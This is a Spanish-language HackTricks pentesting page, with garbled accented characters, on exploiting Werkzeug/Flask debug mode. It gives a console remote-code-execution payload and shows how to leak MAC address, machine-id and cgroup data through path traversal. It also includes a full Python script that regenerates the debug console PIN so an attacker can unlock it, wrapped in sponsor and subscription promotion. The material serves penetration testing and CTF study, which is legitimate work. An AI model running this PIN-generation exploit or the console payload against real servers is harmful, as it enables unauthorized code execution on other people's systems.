# Werkzeug / Flask Debug
Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (Experto en Red de HackTricks AWS)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCI脫N**](https://github.com/sponsors/carlospolop)! * Obt茅n la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colecci贸n exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
**Configuraci贸n disponible instant谩neamente para evaluaci贸n de vulnerabilidades y pruebas de penetraci贸n**. Ejecuta una pentest completa desde cualquier lugar con m谩s de 20 herramientas y funciones que van desde la recolecci贸n de informaci贸n hasta la generaci贸n de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, m贸dulos de detecci贸n y explotaci贸n para darles m谩s tiempo para profundizar, abrir shells y divertirse. {% embed url="https://pentest-tools.com/" %} ## RCE de Consola Si la depuraci贸n est谩 activa, podr铆as intentar acceder a `/console` y obtener RCE. ```python __import__('os').popen('whoami').read(); ``` ![](<../../.gitbook/assets/image (317).png>) Tambi茅n hay varios exploits en internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) o uno en metasploit. ## Protegido con PIN - Traversal de Ruta En algunas ocasiones, el endpoint **`/console`** estar谩 protegido por un PIN. Si tienes una **vulnerabilidad de traversal de archivos**, puedes filtrar toda la informaci贸n necesaria para generar ese PIN. ### Exploit de PIN de la Consola Werkzeug Forzar una p谩gina de error de depuraci贸n en la aplicaci贸n para ver esto: ``` The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` Un mensaje sobre el escenario de "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuraci贸n de Werkzeug, indicando la necesidad de un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generaci贸n de PIN en el archivo de inicializaci贸n de depuraci贸n de Werkzeug (`__init__.py`). El mecanismo de generaci贸n de PIN se puede estudiar desde el [**repositorio de c贸digo fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), aunque se recomienda obtener el c贸digo del servidor real a trav茅s de una vulnerabilidad de traversal de archivos debido a posibles discrepancias de versi贸n. Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, `probably_public_bits` y `private_bits`: #### **`probably_public_bits`** * **`username`**: Se refiere al usuario que inici贸 la sesi贸n de Flask. * **`modname`**: Normalmente designado como `flask.app`. * **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generalmente se resuelve como **Flask**. * **`getattr(mod, '__file__', None)`**: Representa la ruta completa a `app.py` dentro del directorio de Flask (por ejemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no es aplicable, **intente con `app.pyc`**. #### **`private_bits`** * **`uuid.getnode()`**: Obtiene la direcci贸n MAC de la m谩quina actual, con `str(uuid.getnode())` traduci茅ndola a un formato decimal. * Para **determinar la direcci贸n MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicaci贸n (por ejemplo, `ens3`). En casos de incertidumbre, **filtrar `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extraer la direcci贸n MAC** de **`/sys/class/net//address`**. * La conversi贸n de una direcci贸n MAC hexadecimal a decimal se puede realizar como se muestra a continuaci贸n: ```python # Ejemplo de direcci贸n MAC: 56:00:02:7a:23:ac >>> print(0x5600027a23ac) 94558041547692 ``` * **`get_machine_id()`**: Concatena datos de `/etc/machine-id` o `/proc/sys/kernel/random/boot_id` con la primera l铆nea de `/proc/self/cgroup` despu茅s de la 煤ltima barra inclinada (`/`).
C贸digo para `get_machine_id()` \`\`\`python def get\_machine\_id() -> t.Optional\[t.Union\[str, bytes]]: global \_machine\_id if \_machine\_id is not None: return \_machine\_id def \_generate() -> t.Optional\[t.Union\[str, bytes]]: linux = b"" ## machine-id is stable across boots, boot\_id is not. for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot\_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue if value: linux += value break ## Containers share the same machine id, add some cgroup ## information. This is used outside containers too but should be ## relatively stable across boots. try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")\[2] except OSError: pass if linux: return linux ## On OS X, use ioreg to get the computer's serial number. try: ````
Al recopilar todos los datos necesarios, el script de explotaci贸n puede ejecutarse para generar el PIN de la consola Werkzeug. El script utiliza los `probably_public_bits` y `private_bits` ensamblados para crear un hash, que luego se somete a un procesamiento adicional para producir el PIN final. A continuaci贸n se muestra el c贸digo Python para ejecutar este proceso: ```python import hashlib from itertools import chain probably_public_bits = [ 'web3_user', # username 'flask.app', # modname 'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address 'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id ] # h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0 h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') # h.update(b'shittysalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) ```` Este script produce el PIN mediante el hash de los bits concatenados, a帽adiendo sales espec铆ficas (`cookiesalt` y `pinsalt`), y formateando la salida. Es importante tener en cuenta que los valores reales de `probably_public_bits` y `private_bits` deben obtenerse con precisi贸n del sistema objetivo para garantizar que el PIN generado coincida con el esperado por la consola Werkzeug. Si est谩s en una **versi贸n antigua** de Werkzeug, intenta cambiar el **algoritmo de hash a md5** en lugar de sha1. ### Referencias * [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/) * [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955) **Configuraci贸n instant谩nea disponible para evaluaci贸n de vulnerabilidades y pruebas de penetraci贸n**. Ejecuta una pentest completa desde cualquier lugar con m谩s de 20 herramientas y funciones que van desde la reconstrucci贸n hasta la generaci贸n de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, m贸dulos de detecci贸n y explotaci贸n para darles tiempo para profundizar, abrir shells y divertirse.